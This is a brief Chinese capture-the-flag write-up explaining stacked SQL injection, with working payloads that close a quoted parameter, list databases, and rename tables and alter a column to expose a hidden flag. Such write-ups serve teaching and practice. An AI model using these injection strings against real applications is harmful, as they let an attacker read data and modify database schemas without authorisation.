0x01 堆叠注入
- 在sql中,分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句,会一起执行,因此为堆叠注入。
- union联合查询是将两条语句合并之后进行查询,union执行的语句有限。
- 堆叠注入可以执行任意的语句
0x02
1、存在sql注入
GET,字符型,单引号
?inject=1' order by 2--+
select等一些语句被过滤
2、堆叠注入
?inject=1';show databases;--+
保证前面的语句闭合,执行后面的语句
得到了数据表
查看表的结构
只能查看words表,不能查看另一个表
重命名表
将words默认表重命名为word1,将数字表重命名为words
在words表插入一列,id,flag
那么我们查询id为1,得出flag
?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
参考链接:
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://www.cnblogs.com/dedragon/p/12728498.html
https://blog.csdn.net/qq_26406447/article/details/90643951